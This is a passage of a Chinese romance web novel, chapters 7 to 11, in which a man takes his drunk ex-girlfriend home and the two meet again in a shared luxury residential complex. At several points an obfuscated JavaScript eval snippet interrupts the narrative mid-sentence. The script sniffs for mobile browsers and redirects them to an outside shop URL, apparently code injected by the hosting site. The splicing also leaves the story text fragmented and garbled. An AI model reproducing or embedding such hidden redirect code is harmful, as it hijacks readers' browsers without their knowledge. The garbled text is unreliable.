所以他到底是何苦给自己找了这么一麻烦。 房间里没有开窗,满室酒气。 沈屹骁走到窗边,将窗户闪开一条缝,凉风顿时隙了进来。 刚一转身,就见床上的人一连两个翻身,沈屹骁几个大步迈过去,用自己的胳膊挡住了她差点就要再度滚下去的身子。 夜浓身上是一条长及裹身的缎面裙,穿这样一身睡觉自然是不舒服。 沈屹骁当然知道,他更知道,她睡觉不喜束缚,哪怕是深冬,也喜欢穿轻薄不贴身的吊带睡裙。 沈屹骁低头看着她时紧时松的眉心,短暂犹豫后,他将她因为翻身而裹压在腿弯下的裙摆抽了出来,往上堆叠的同时,白里沁粉的大腿肌肤也一点点呈在他眼底。 眸色渐深时,沈屹骁及时收了手。 出了卧室,沈屹骁将客厅沙发里所有的抱枕都拿了进来,一边两个,又堆又抵的卡在她身体两边,防止她再度翻身掉下床。 之后他又去倒了杯温水,将水杯放在床头柜上后,他坐到床边,胳膊探到她颈下时,细腻柔软的触感让他动作停了两秒。 那一瞬间,他清楚听见了自己的心跳声,声声清晰。 他别开脸,一连两个深呼吸,才将淤在胸腔里那股难以名状的气息压下。 将人扶坐起来后,沈屹骁将水杯杯口抵在她唇边,杯底倾斜,湿润沾到她唇缝时,夜浓主动张了口。 以前她喝醉,沈屹骁就是用的这招,只是没想到,这么久过去依旧有用。 大半杯的水被她咕噜咕噜的喝了个干净,沈屹骁无声弯了弯唇。 水杯放回床头柜上,沈屹骁没有立即将她放躺回去,就这么看着她在自己怀里,一点一点地低着脑袋,直到她自己感觉不舒服,主动歪了身子,搂住他腰。 隔着睡袍,还有她身上的裙子布料,依旧能感觉到她的体温,不似记忆里她醉酒会有的滚烫,但也依旧高出他许多。 原本轻握在她肩膀未有动作的手,不知不觉地摩挲起指腹下的皮肤。 不知是把她弄痒了还是贪恋他丝质睡袍的顺滑,怀里的人把脸贴到了他胸口的位置,拱了拱,又蹭了蹭。 像一只奶猫似的,一副乖巧惹人怜的模样,像要得到主人的轻抚。 原本蹭在她肩膀处的动作不知什么时候停住,沈屹骁眉眼微垂地看着她。 房间里只亮了一盏落地灯,不是能酝酿无限旖旎的暖黄色,而是冷白的光。但却盖不住他眼底溢出的,连他自己都未察觉到的几丝柔情,顺着她绯红的额头,到挺秀的鼻尖,最后停留在她微嘟的红唇。 不知名的情绪似岩浆般在他眼底翻涌,让他眸色渐深,指腹捻过她柔软的唇瓣,他声音近乎低喃:“真的是不爱我......才跟我分手的吗?” 怀里传来呜咽的一声,听着很是委屈。 以前她喝醉,会抱着他,让他听她含糊不清的碎碎念,听着听着,他就会低头吻住他。 垂在身侧的手缓缓抬起捏住她下巴,不过很轻的一个动作,就将她脸抬了起来。 她今天醉成这样,即便是将她吃干抹净,她也全无还手之力。 目光久久游离在她的眼、她的唇。 记忆也如开闸的洪水,突然回到五年前。 在她的宿舍楼后,他将她禁锢在坚硬的墙与他剧烈起伏的胸膛间,他吻她近乎失控,哪怕硬生生挨了她两巴掌,他也不管不顾的再度将她扯回怀里,直到她重重地将他的舌尖咬出血,直到她说:沈屹骁,你这样让我觉得很恶心。 恶心...... 一年来的掏心掏肺,最后换来这两个字。 也正是这两个字,让他这几年每每回忆起过去,都让他觉得自己像是个乞讨者一样。 是够恶心的,当初被她一把利刃插进心脏,换来的却是再见她时,最不该有的心软。 不是恶心是什么。 情绪的翻滚,让捏着她下巴的拇指指腹不自觉的用了力。 带着几分疼音的“唔”声,让沈屹骁缓缓松了指尖的动作。 “若不是我这个恶心的人将你带走,”他眼底情绪难辨,音色更是垂冷:“你知道今晚会发生多恶心的事吗?” * 翌日早晨,天空一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578476|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片清亮的浅蓝。 夜浓在口渴难耐里醒来,手机闹铃未响,她也懒得睁眼,手往床头柜胡乱一摸,“咚”的一声闷响,她这才掀起惺忪眼皮,趴在床沿,朦胧视线扫过地上浅灰色的地毯,这才发现把杯子打翻了,手伸下去时,她动作突然停住。 不对,她床边什么时候铺了地毯? 所有的困意连带难耐的口渴瞬间消失,她蹭的坐起身,正对面的墙上挂着一组陌生的油画,旁边是高低两组同样让她陌生的角柜,目光再偏转,窗前多了一组沙发,窗帘也不是她卧室的雾霾蓝。 所有的一切都让她感到陌生。 夜浓只觉脑袋“嗡”的一声,低头间,看见盖在身上的毯子,刚刚起身动作幅度大,如今毯子已经褪落到膝盖,好在裙子虽凌乱,但还是完整地裹在身上,但这并没有让她掉以轻心,抓着床单的手一紧一松间,她捏着缎面裙布一点一点往上,直到看见白色底裤边缘,她才长舒一口气。 可是自己身处的陌生房间依旧让她赶到紧张与戒备。 夜浓闭上眼,努力回想昨晚,却只想起舞池里拥挤的人潮,还有调酒师调酒的动作,至于其他的,任她怎么拿腕心砸着脑袋也没能回想起来。 所以自己昨晚到底是喝了多少的酒,还有,她怎么能放任自己一个人在酒吧喝醉! 下床时,夜浓看见床边地毯上放着一双黑色拖鞋,从尺码看是男士,视线再一偏转,又看见两只抱枕一左一右的掉落在地。 她眉心拧了拧,没有去穿那双拖鞋。 赤脚下床走到门后,她深吸一口气,耳朵贴门,听了听外面的动静,一阵寂静无声里,她轻轻拧下门把。 全景落地窗,乔尔格蒂的家具,Viabizzuno吊灯,还有厨房内嵌的嘉格纳五件套,和她住的那所房子里竟然惊人的相同。 一览无遗的连贯空间,不见半个人影,夜浓原地转了一圈后,走到落地窗前,看见楼下的喷池花园里的三只麋鹿雕塑,她彻底愣住了。 这不是铂悦府吗? 她人在铂悦府,但却不是在自己住的房子里,这是怎么回事? 突然想起自己的手机,她猛然转身,刚一抬脚就看见茶几上放着一只黑金CF包。夜浓走过去,打开包盖一看,果然是她的,手机、证件,还有银行卡,一应都在。 手机屏幕摁亮,满格的电量让夜浓再度蹙眉,不过她现在还没有心思去解这疑惑。 浅咖色的换鞋凳旁,整齐摆放着她昨天穿着的那双白色高跟鞋。夜浓看向一侧自带下拉杆的鞋柜,短暂迟疑后,她打开柜门,里面清一色的男鞋。 这让夜浓心有不安的同时愈加疑惑。 出一楼电梯,夜浓快步走向大堂服务台,“你好,请问12层的业主叫什么名字?” 管家嘴角挂着标准的商业微笑:“女士,请问您是本小区的业主吗?” 若是说不是业主,可能对方不会那么轻易透露。 夜浓便点了点头:“我住6栋,这里的12层是我朋友的朋友,我刚刚下来的急,把东西落上面了,想回去取,突然想不起对方的名字了,如果摁门铃,总要有个称呼。” 管家微笑回道:“您称他张总便好。” 8. 第八章 听出对方不想道出全名,夜浓也没再深问。 “算了,东西我下次再来取吧。”礼貌道谢后,她出了一楼大堂。 铂悦府每栋楼前都有一面水景墙,看了眼上面烫金色的楼栋号,夜浓又在心里默念着刚刚打听到的「张」姓。 顺着楼前的林荫道走了一段,夜浓这才发现她住的六栋就在刚刚那栋楼的正后方。 她不信巧合,更不信有人会有没来由的好心。 但床头柜上的水杯、床边放置整齐的拖鞋,还有帮她充满电的手机,每一个细节都能感受到那个男人的好意。 可是怎么就这么巧,那人不仅住在这里,还住在她楼前那栋楼。 该不会遇到偷窥狂,然后一路跟她到酒吧...... 想到这,夜浓顿时倒吸一口气,以至于去公司的路上,她都觉得身后有车跟着。 到了公司没多久,曲姚来敲门,说阮总找她。 “昨晚打你电话怎么也不接?” 夜浓没说昨晚的事:“睡得有点早,没听到。” 阮瑜将手边一个黑色皮质方盒推到她面前:“早上雾色那边让人送来的,对方来的早,就把东西放在了楼下的物业管理处。” 夜浓将盒子打开后,目光顿了一顿:“这是那个碎片玻璃的实物?” 阮瑜刚刚也看了:“对,你拿回去看看,相比照片,实物应该更能找到些灵感。” 夜浓点了点头:“好。” 设计部是设计公司的核心部门,一共三个小组,雾色香水的包装设计,夜浓安排给了设计二组,组长是刘蕴。 “夜总监,您找我。” 夜浓将刚刚拿回来的盒子递给她:“这是玻璃碎片的实物,你拿回去让她们看看,周一上午例会结束后,我们再开个短会,务必要把初步构思和概念定下来。” 刘蕴点头:“好的。” “以后每周三上午和雾色对接项目进度这个工作,都交给你。” “夜总监,”刘蕴略有迟疑:“雾色那边......没有专门的工作人员对接这个项目吗?” 夜浓抬头看她,“不是说了祁总吗?” 刘蕴抿了抿唇:“我的意思是,祁总不是他们公司的老总吗?” 夜浓纠正她,“祁总不仅是他们公司的总经理,他还是这个项目的直接负责人,更是一名高级调香师,他的身份从来都不是单一的,你只要平常心对待,做好自己的本职工作就行。” 见她连低垂,闷声不说话。 “刘蕴,”夜浓不管她是心怯还是其他原因,只说:“如果你觉得自己不能胜任这份工作,我也可以交给别人。” 刘蕴一听,顿时打起了十二分精神的下了保证。 夜浓凝眸看了她几秒才抬了抬下巴:“出去工作吧。” 除了雾色香水,设计部另外两个项目已经进行到中期。两个设计部的组长接连去了夜浓的办公室汇报了项目进度。 十一点半,助手曲姚敲门进来:“夜总监,午餐您是去楼下餐厅还是给您另外点餐?” 夜浓正在看设计三组报上来的资料,“帮我点餐吧,我不挑食,但不太能吃辣。” “好的。” 午休有两个小时的时间,本想着让曲姚帮她去Chris酒吧将车取回来,转念一想,酒吧里肯定有摄像头,或许可以借此看看昨晚到底发生了什么,顺道再看一看那个叫张姓的男人,她之前有没有见过。 脑海里闪过这个姓时,夜浓不禁回想自己从住进铂悦府后所见到的面孔。 住进去不过短短几天,加上她早出晚归,打上照面的一双手都数的过来,但若说男人...... 夜浓皱了皱眉,好像只有前天,也就是周二晚上下班回来在车库里见到的一个男人,穿着一身极为显眼的白色西装,从一辆极为低调的黑色轿车后座下来。 不过这个小区每个楼栋的车库都是不相通的,而她昨晚住的是十二栋。 若是排除这位,还就真的没有第二—— 夜浓脑中一顿,突然想起刚回京市那天晚上,她在便利店看见的那个人。 但是下一秒,她就为自己的想法感到可笑。 若是被他看见自己烂醉在酒吧,怕是除了嘲讽之外,再无其他了。 “叩叩”两道敲门声响,夜浓抬头。 是刘蕴。 她拿着早上夜浓给她的那个黑色皮质方盒走进来,“夜总监,上午我们都轮番看过了。” 夜浓点了点头:“放这吧。” 上午夜浓也就只在阮瑜的办公室里大致扫了眼,只记得第一眼看上去有些像顶帽子。如今再一细看,才看出这块略有敦实的玻璃应该是瓶底的一块。 随着盒盖盖上,淡淡一缕香味传来,夜浓怔了一怔,再打开,凑近闻了闻,果然是玻璃上的。 难道这是一个被摔碎的香水瓶? 夜浓对香味不是很敏感,这几年也鲜少会买香水,不过她大学时有一段时间很迷恋。 想到此就不由得想起某人。 那时,她根本就不能对任何一件东西流露出喜欢,一旦被那个人知道,恨不得搜罗出所有相关的送给他。 后来她还打趣:可幸亏我不喜欢月亮星星之类的。 结果他却反问道:喜欢吗? 好像她说喜欢,他真就能给她摘下来似的。 厚实的盒盖“啪”的一声合上,也将不该再记起的回忆不留回声的阻隔住。 深秋的天,刚到五点,暮色就沉了下来。 忙碌一天,夜浓坐出租车赶到Chris酒吧的时候,天已经黑尽。 吧台里不再是昨晚那个调酒师。 夜浓说明来意后,对方很是为难:“没有相关手续的话,我们是不能将监控录像让客人查看的。” 的确,没有正当且充足的理由,对方肯定不会轻易松口。 夜浓问:“那能查到我昨晚的消费记录吗?” “请问您是几点消费的?” 夜浓耸了耸肩:“我不记得了,不过昨晚在这上班的调酒师肯定认得我,不知可方便将他的电话给我?” 这个要求不算过分,对方递过来一张名片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方笑着摇头:“齐总的联系方式,我们调酒师是不会有的。” 夜浓没再说其他,一声谢谢后,她走出酒吧。 回去的路上,夜浓心里思绪万千,所有的疑惑好似都解了,可又有种说不出的麻线,缠绕在她心头让她烦躁。 归咎起来,都是酒惹的祸。 夜浓深吸一口气,在心里警告自己,酒吧这个地方以后能不去就不去。 回到住处,夜浓将外套往沙发里一扔,而后去厨房倒了杯热水,转身间,看见窗外的几点灯火。 视野开阔,玻璃洁净无尘,但她住的这栋和前面那栋楼距离隔得远,夜浓推开半扇窗,眼睫不眨的同时,一层一层的往上数着,数到12的时候,她意外地眉梢一抬。 灯竟然亮着。 夜浓低头看了眼时间,才八点不到,这个点上门道谢,应该不算打扰吧。 9. 第九章 昨晚齐祯过来,今晚齐冀又过来。 沈屹骁抱着胳膊坐在沙发里:“你们兄弟俩都这么闲?” 昨晚的事,齐冀已经听他哥说了。 相比齐祯满口的嫌弃,齐冀可谓是满心欢喜。 先不说对方是谁,就冲沈屹骁肯把女人带回家,这就足够说明他已经从上段暗无天日的感情里走了出来。 齐冀一直都是沈屹骁迷弟一般的存在,他在沈屹骁面前蹲下,“哥——” 沈屹骁膝盖一偏,抖掉他手:“喊错人了。” 齐冀才不管,手掌重新放上去:“你要是真想交女朋友,我可以给你介绍。” 他今天过来一是来帮他哥劝沈屹骁迷途知返,二是发自内心帮沈屹骁介绍正经女朋友的。 沈屹骁冷着调子:“不需要。” 齐冀知道他一向讨厌麻烦,不然怎么会找那种女人,虽说那种方式很省事,可到底不利于身心健康。 齐冀拿出一副苦口婆心的架势:“哥,你见见呗,兴许会是你喜欢也不一定呢,”他伸出三指:“我保证,我给你介绍的全都是乖巧听话的,你让往东——” “齐冀,”沈屹骁打断他的同时,脸往大门方向一偏:“你可以滚了。” 齐冀虽然一时哑了声,但他脑子转的飞快。 既然劝说没用,那就只能用激将了。 “你早不找晚不找,偏偏赶在那个女人回来的时候找,”齐冀把眼一眯:“你该不会是故意做给她看的吧?” 看吧,他从头到尾都没提及「夜浓」的名字,这俩兄弟就开始主动代入了,这要是解释,岂不是越描越黑? 沈屹骁索性不说话。 可他的沉默在齐冀看来就是默认。 “你不是吧,”齐冀一副恨铁不成钢的表情:“都过去这么久了,你怎么还对她不死心?” 沈屹骁对这个话题兴致缺缺,但齐冀的反应却让他饶有兴趣。 他揶揄道:“怎么,不行?” “当然不行了,”齐冀双眼一睁,从地上站起来:“你别忘了,当初可是她把你甩了的。” 他调子扬得高,听得沈屹骁皱眉:“要不要给你拿个喇叭?” 齐冀偏着脸,闷了声“哼”音:“反正这事我不同意!” “还管起我来了,”沈屹骁一脚扫他小腿上:“长本事了?” 齐冀余光睨他一眼。 很奇怪,明明他嘴角有笑痕,可看在眼里却让人心里生出心疼。 “哥,”他又蹲沈屹骁面前:“咱别跟她有牵扯了行吗,你是忘了那两年你是怎么过来的吗?” 沈屹骁当然没忘。 他把自己关在房间里,有段时间甚至需要借助安眠药才能入睡。 所以时间真的是一味良药,再深的感情都经不起时间的冲淡。 那些为她辗转难眠、为她买醉消沉的日子早已成为过去,当然,这中间倒还真没少这俩兄弟的帮忙,特别是蹲他面前的这个。 为了他,硬是休了半年的学从英国跑了回来。隔着一道门,就这么没日没夜地守着他。 沈屹骁凝眸看了他半晌,说不清是想让他放宽心还是在给自己警告。 “放心,同样的跟头我不会栽第二次的。” 齐冀将信将疑地看着他:“那你发誓。” “发誓?”沈屹骁好笑一声:“你是三岁小孩吗?” 这个世界上,最不可信的就是「誓言」。 偏偏齐冀执拗:“我不管,这事你必须发誓!” 这个小齐祯两岁的弟弟看似单纯简单,其实却比他哥难缠,有时候还特别一根筋。 沈屹骁无奈叹气:“我发誓,行了吧?” 可是他交叉抱于身前的两只胳膊却纹丝不动,齐冀不满意:“人家发誓都是三指并拢指天向上的,”他抬起右手做示范:“你得像这样。” 结果沈屹骁却松开胳膊站起身。 齐冀立马追上去:“哥,你干嘛去?” 沈屹骁径直往门口走:“下楼找点东西吃。” “我也去!” 沈屹骁随他跟着,但他把丑话说在了前头:“吃完饭就回你自己的家去。” 齐冀立马卖乖道:“都这么晚了,你就让我在你这睡呗。” 沈屹骁低头换着鞋,“你要是这么说的话,那六栋的房子我就收回来了。” “别啊,那房子我还一次没住过呢!” 沈屹骁不再理他,开门出去。 铂悦府里栽种着很多被修剪成伞状的丛生桂花,风一吹,树影重重,花香弥漫。 夜浓一边穿过六栋与十二栋中间的长廊花园,一边在心里犹豫着到底要不要登门道谢。 毕竟那个调酒师在电话里说了,她这种情况不是特例,所以于对方而言不过是作为酒吧老板的一个举手之劳。 可到底是住在同一个小区,万一日后碰见,人家是认得她了,可她呢,却连对方高矮胖瘦都不知道,视而不见的擦肩而过,岂不是很失礼。 就这么犹犹豫豫地走到了十二栋门口。 和六栋的一楼大堂不一样,这里的背景墙不是满铺的翡翠绿琉璃,而是一整面墙的黄杨木雕,描绘的是燕山八景的气势恢宏。 夜浓站在门厅前的高杆仿古庭院灯下,正犹豫着等下要怎么开口的时候,针织外套里的手机震了。 是阮瑜。 “阮总。”接通电话后,夜浓往一侧站了站。 “在家吗?”阮瑜问:“在的话我给你送点大闸蟹过去。” 夜浓不想大晚上的还要麻烦她:“你自己留着吃吧。” “老瞿给我拎了四篮子过来,我哪里吃得完。” 让她明天带到公司去也不合适,夜浓想了想:“那不然明天晚上下班我去你那拿吧,正好我过去认认门。” “也行,诶,不对,明天不就周五了吗?” 她要不说,夜浓也差点忘了明天晚上要请公司同事聚餐。 她一步步踩上台阶,“那周六?” “行。” 挑高五米的大堂里安静,服务台里侧的管家和每一位进出的业主颔首微笑。 “沈总、齐总。” 沈屹骁扭头看了眼身边的人。 一个留学回国不过两年,目前正在基层锻炼的黄毛小子,还自称是总,沈屹骁都懒得拆穿他。 可就是那只字未说的眼神,让齐冀心虚地“咳”了声:“是她们非要这么喊我的,不关我事。” 沈屹骁似笑非笑一声:“是吗?” 相比沈屹骁的西装革履,齐冀一身潮男打扮,他双手抄在裤子口袋,一副刚从家里出来的慵懒姿态:“不过话说回来,我也是名副其实好不好?” 虽说齐冀不敢在他面前造次,但是大庭广众的,他气势却拿捏得很足,毕竟他也是皓丰地产的二公子。 沈屹骁不与他争这种毫无意义的话题,视线看向门口时,他目光和脚步接连一顿。 夜浓也猝不及防地愣在原地。 和上一次在门口便利店看见他时不同,这次,夜浓明显感觉到自己的气息发紧,甚至有一种呼吸不畅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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沈屹骁踩上台阶,径直走到服务台。 “沈总。” “刚刚有没有一个穿着长款白色开衫的女孩子向你询问过什么?” 十二栋一共十五层,一层一户,虽然已经售罄,但入住率不高,管家几乎能清楚记得每一位进出的业主或客人。 “您说的是刚刚您出门时,站在门口的那位女士吗?” 沈屹骁点头。 “她没有进来,在您出门后,她在台阶上站了两分钟就往西走了。” 往西? 如果是出小区大门应该是往东才对,想到自己刚刚就是往东走的,沈屹骁轻扯一侧嘴角,许是不想再和他碰上。 他刚一转身,管家又喊住他:“沈总。” 不过一个眼神就看出对方的欲言又止,沈屹骁:“有话就说。” 虽说同为业主,但沈屹骁可不仅仅只是业主。 管家自然知道他的另一层身份,所以抱着讨好的心态,在不违背她作为管家职业守则的同时,打着圈的透露说:“刚刚那位女士应该是回六栋了。” “回六栋?”沈屹骁眉心忽而皱紧:“她住在六栋?” 管家把话说得模棱两可:“应该是。” 沈屹骁没再细问,转身间,他掏出手机拨给了关昇。 “沈总。” “查一下铂悦府六栋的业主名单。” “好的。” “等等,”沈屹骁用手挡住已经敞开的电梯门边:“包括租户。” 10. 第十章 空气里满是深秋的寒凉,但不妨碍它夜景的美。 历史古韵下,让这座城市的霓虹都和其他城市的很不一样。 夜浓双臂趴在落地窗边,凉风从上掀的玻璃窗隙进来,吹起她垂在耳鬓的丝丝卷发。 十二层好像被钉上标记似的,总是让她在视线偏转间一眼看见。 脑海里掠过刚刚看见的那张略有青涩的男人的脸,看着好像只有二十岁,和她想象中的成熟有着天壤之别。 只是,这个「齐总」为什么会和沈屹骁一同从里面走出来。 难道他也住在十二栋,所以两人才认识? 可是从刚刚两人笑谈的神情来看,关系似乎很是熟络。 但是刚刚那个「齐总」迎面走过来的时候,虽然看了她两眼,但那眼神丝毫不像认识她似的。难道说,昨晚酒吧灯光太暗,人家压根就没看清她的长相? 一定是这样,不然以她的长相,看清了的话,不可能一点记忆都没有。 心里闪过这一想法后,夜浓垂眸失笑。 老大不小的人了,还真当自己和以前一样明艳动人呢。 全景窗边框窄窄的,压得胳膊生疼,夜浓站直身体,指腹摩挲胳膊下被压出的一道凹痕,视线从上到下,扫过所有亮着灯的楼层。 可惜单向可视的窗户,只能看见光源。 沈屹骁鲜少会站在北阳台往外看,如今透过单向可视的玻璃,他目光直直定在十二层的西户。 与此同时,他也拨通电话:“铂悦府六栋的房子,你以后不要去住了。” 齐冀一愣:“你还真收回去啊?”他想不通:“我今晚不是没在你那住吗?” 沈屹骁拿另一处跟他交换:“三栋12层也在我名下,你要是喜欢,可以去住。” 以前齐冀没注意,这会儿才反应过来:“你名下是不是所有房子都是12层?” 梦蝶山那套是,辉园也是,这个铂悦府,竟然三套都是。 沈屹骁不理他这个疑惑:“还有,以后要找我先给我打个电话,别直接来铂悦府了,”不想被追问,他连着理由一并说出:“因为接下来我会很忙,住哪里不一定。” 齐冀听话地“哦”了声。 电话挂断,他眉头拧出疑惑,忙跟具体住哪有直接的关系? 晚上刚到楼下就遇到了齐冀,所以沈屹骁回来后还没来及去主卧。 如今他站在卧室门口,还能闻见淡淡的酒气。 扫一眼床上的凌乱,就能想象得到她走时是有多慌乱和匆忙。 沈屹骁走进去,捡起床边地毯上的两只抱枕时,看见掉落在一旁的玻璃水杯。 看来临睡前倒一杯水放在床头柜上的习惯还没变。 沈屹骁将其捡起来,放到床头柜上时,他视线落到抽屉外侧的锥形拉扣上,凝神几秒后,他拉开抽屉。 里面放着一个墨蓝色的,能装下一整套首饰的鳄鱼皮首饰盒。不过里面不是首饰,而是那个被他打碎,再也无法黏合回去的香水瓶玻璃碎片。 沈屹骁在堆叠着毯子的床边坐下,厚重的盒盖打开时,他惯例地在心里数了数。 十八块,少了的那块,被他早上让人送去了夜浓公司。 想必她已经看见了,不知这款早已停产的香水的香味,她还有没有印象。 不过她对香味不敏感,即便想不起来也无可厚非。 就像晚上在楼下她看见他,眼里除了意外,再也找不到其他的情绪。 几年过去,身材长相没变,薄情寡义的性子更是一如既往。 * “阿嚏——阿嚏” 一连两个喷嚏,让夜浓把生理眼泪都酸了出来。 被搁在被子上的手机免提里,传来刘蕴的声音:“夜总监,你感冒了吗?” “不是,可能是穿少了有些受凉。”夜浓吸了吸鼻子,歪身从床头柜上将抽纸盒捞了过来。 “那我就照你刚刚说的思路,再改改,时间不早了,你早点休息。” “好。” 电话挂断,夜浓下床去了餐厅,一杯温水喝下,这才觉得心里暖暖的。 以前她一点都不怕冷,再冷的天她身上也像个小火炉似的,近两年不知怎么了,竟然开始畏寒。 将保温杯装满热水回到卧室,夜浓看了眼时间,才十点不到。 一晚上没吃东西,这会儿才觉得胃里空空的,拿了张毯子披在肩上后,夜浓一边从网上寻着轻食外卖,一边又回到客厅。 铂悦府的物业是不允许外卖员进入的,不过管家会亲自将外卖送到业主家门口。 一份轻食沙拉,就连沙拉酱都是无脂的。 最近还没来及办健身卡,所以夜浓尤其控制晚餐热量的摄入。 挑了一块鸡胸脯肉到嘴里后,夜浓给曲姚发了条短信:【铂悦府周边有没有设施比较好的健身会所推荐?】 曲姚短信很快就回复过来:【铂悦府的物业中心后面有一个会所,听说里面设备齐全,你可以去看看。】 差点忘了,这种高档住宅一般都会配备私家会所。 轻食没什么热量,但也裹腹,夜浓拧开保温杯盖走到落地窗前,热气缭绕里,她不由自主又看向对面那栋楼。 视线将十五层高的楼层一扫而过,只有廖廖几排透着光亮,其中并不包括与她视线平行的12层。 铂悦府地处闹市,所以房子的隔音效果是做了特别设计的。 昨晚沈屹骁没睡几个小时的安稳觉,今天更是忙了一整天,如今耳边一片消寂,眼前一片漆黑,可他却没有丝毫的困意。 或者说,是这个房间里有太多让他无法平下心来的气息流窜。 除了酒精残留的气味外,还有一股淡淡的,形容不出来的气味,丝丝缕缕往他鼻息里钻。 和他稀薄记忆里的早已不一样了。 一个深呼吸后,沈屹骁索性将床侧的壁灯打开。 视线在对面的油画上空洞停留半晌后,他低头看向盖在身上的毯子,想起昨夜担心她滚地上而趴在床边守着她的画面,忽觉一声可笑。 心里烦躁加剧,他伸手将毯子一掀,扔到了一边,留下的一角还蒙在他脚背,他抬脚一踢。 像是楚河交界划清了距离。 心情终于平复几分后,他才顺着床背躺下,翻身侧躺间,又闻到了原本不属于他枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578479|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上的气味。 分不清到底是酒味残留还是她头发又或者昨晚未卸的化妆品留下的。 又一个深呼吸后,他蛮横的动作将枕头抽走扔到了床尾。 以为这样就能睡一个好觉了,结果事与愿违。 他索性也不睡了,出了卧室去餐厅开了瓶红酒。 酒液过喉,口腔留下燧石般的矿物质味,酸味紧实。 沈屹骁端着酒杯走到北阳台,目光锁定的同时,也在心里细捋这短短几日发生的多件巧合。 既成了雾色香水的合作方,又让他在Chris酒吧遇到,如今竟还和他住在同一个小区,难道她不知道铂悦府是沈氏开发的楼盘? 签约雾色的包装设计,或许并非她一厢情愿就能办成。酒吧偶遇,或许是偶然发生。那和他同住一个小区呢? 想近水楼台,和他再续前缘? 当初走得头也不回,还把话说得那样决绝,如今该不会觉得五年时间就可以把他心头的恨意都磨平了? 想得倒美,难不成他沈屹骁在她心里,就这么的挥之即去,招手即来? 不过一个仰头,杯里的红酒就被他一饮而尽。 以往若是没有特别紧急的事,沈屹骁是不会深夜给关昇去电话的。 以至于看见来电时,关昇被子一掀,立马从床上坐正了:“沈总。” “明天安排几个人将我现在住的房子收拾出来,”电话这头,沈屹骁一丝迟疑也没有,所做的决定像是深思熟虑,又像是冲动不经大脑:“都搬到六栋去。” 他倒要看看,她葫芦里到底要卖什么药。 关昇愣了两秒的神才反应过来:“......好的,”带着不确定,关昇小心翼翼地问:“沈总,还有其他的事吗?” “没了。” 说完,沈屹骁把手机往沙发里一撂,起身往餐厅去的时候,他双脚一转又走到北阳台,平视的视线扫过对面,几乎一眼就目光锁定,见灯还亮着,他扭头往墙上看了眼时间。 都凌晨一点了还不睡。 以前,夜浓是亮灯睡不着,不知从什么时候开始,周围太暗,她反而会翻来覆去,慢慢的,就养成了留灯睡觉的习惯。 时间,真的可以改变很多东西,但半夜喝水的习惯,她是怎么都没改掉。 迷迷糊糊间,她眼睛都没睁开就伸手将床头柜上的水杯摸到了手里,浅浅一口温水含到嘴里时,耳边突然传来低沉又模糊的声音。 「是不爱我......才跟我分手的吗?」 眼皮一抖,滑到嗓子眼的温水差点哽住她喉咙,夜浓倏地睁开眼。 幽黄的光线里,她目光怔忪,突然想到早上被她打翻在地的玻璃水杯。 如果给她倒一杯水放在床头是对方的细心,那充满电的手机呢? 正常来说,对方将她送到那个房子里后就应该走了,可是早上醒来后,手机是放在包里的,那人难不成是在等到她手机充满电再走的? 这个解释牵强的让夜浓眉心越拢越深。 想到晚上那个齐总和沈屹骁并排走在一起的画面,她心脏一紧。 这人该不会是想和她破镜重圆? 11. 十一章 翌日中午,夜浓拿着特意交代曲姚去买的午餐,来到阮瑜办公室。 “给,你的最爱。” 阮瑜为了保持她的好身材,一周有五天都在吃减脂餐,包装精致的饭盒一打开,她就叹了口气:“知道吃你这一口会让我多出多少脂肪吗?” 夜浓拉着她手腕和她一块儿坐到沙发里,“多锻炼一会儿消耗掉不就没事了。” 轻轻一个抬眼,阮瑜就注意到她眼底几道红血丝,“昨晚没睡好啊?” 夜浓赶紧用指尖摸在眼睛下:“还没消吗?”她睡眠不好的话会有黑眼圈。 阮瑜轻笑一声:“据我所知,你睡眠一向都不错,该不会是太久没回来,水土不服吧?” 水土不服倒远不至于,就是昨晚心里闪过的那个可能性让她后半夜几乎没怎么睡。 夜浓没什么能说知心话的朋友,这几年唯一交心的也就阮瑜一个了,但她又实在不想将自己的陈年过往说给她听。 思来想去,还是决定以另一种方式从她这里问问意见。 夜浓垂着眉眼,“昨晚跟一个朋友聊电话,聊晚了。” 阮瑜夹起一粒玉米粒放嘴里,随口道:“这边的老朋友?” 不想把谎言编大,夜浓就没应她这话:“我那朋友最近遇到点事。” 本来阮瑜还没有多想,结果她一连两句都带出了「朋友」二字。 这是跟她玩假装是朋友系列? 阮瑜瞥她一眼,顺着她话继续往下问:“什么事?” 